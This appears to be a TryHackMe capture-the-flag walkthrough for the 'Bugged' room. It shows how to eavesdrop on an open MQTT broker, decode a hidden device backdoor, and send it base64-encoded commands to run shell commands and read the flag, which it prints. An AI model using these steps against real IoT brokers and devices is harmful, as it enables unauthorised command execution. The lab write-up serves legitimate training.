TryHackMe | Bugged | Walkthrough

https://tryhackme.com/room/bugged

MQTT (Message Queuing Telemetry Transport)
is a lightweight communication protocol designed for IoT devices that have limited power, memory, or unstable network connections.

It is extremely common in:

• Smart home devices
• Sensors (temperature, humidity, motion)
• Industrial IoT
• Embedded systems
• Low‑power wireless devices

Initial Access

nmap -sV -p- bugged

-sV → Service/version detection

Get Sornphut’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

-p- → Scan all 65,535 port

MQTT Broker Abuse

Now, we can contact the broker and subscribe to every topic, to see what the clients are sending on the network, -t indicating the topic we want to subscribe to. In this case, we are using the multi-level wildcard to subscribe to everything, so that we can monitor the network traffic.

mosquitto_sub -h bugged -t "#" -v

Now, we can see a bunch of IoT devices sending message about their status and measurements, but one of the device looks a bit weird : yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config, and it seems to send base64 encoded JSON. Let’s try to decode it :

echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 --decode

Output

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}

Interesting, it looks like this unknown device can be interacted with, and we know to what topic it is subscribed. Let’s now try to send it a command to see how it responds :

1. Sent message(publish) to MQTT broker

mosquitto_pub -h bugged -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m '{"HELP"}'

2. We see a response MQTT subscribe

mosquitto_sub -h bugged -t "#" -v

3. Decode From Base64

echo "SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk=" | base64 --decode

Output

Invalid message format.
Format: base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})

Command Execution

Response tell we can run the SYS command

1. Encode Base64 command in cyberchef

{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "uname -a"}

2. Sent message(publish) to MQTT broker

mosquitto_pub -h bugged -t XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub -m "eyJpZCI6ICJjZGQxYjFjMC0xYzQwLTRiMGYtOGUyMi02MWIzNTc1NDhiN2QiLCAiY21kIjogIkNNRCIsICJhcmciOiAidW5hbWUgLWEifQ=="

3. We see a response MQTT subscribe

• Red(command)
• Blue(Response)

4.Decode From Base64

{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"Linux 696dcdf64190 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 GNU/Linux\n"}

Flag

{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "CMD", "arg": "cat flag.txt"}

flag{18d44fc0707ac8dc8be45bb83db54013}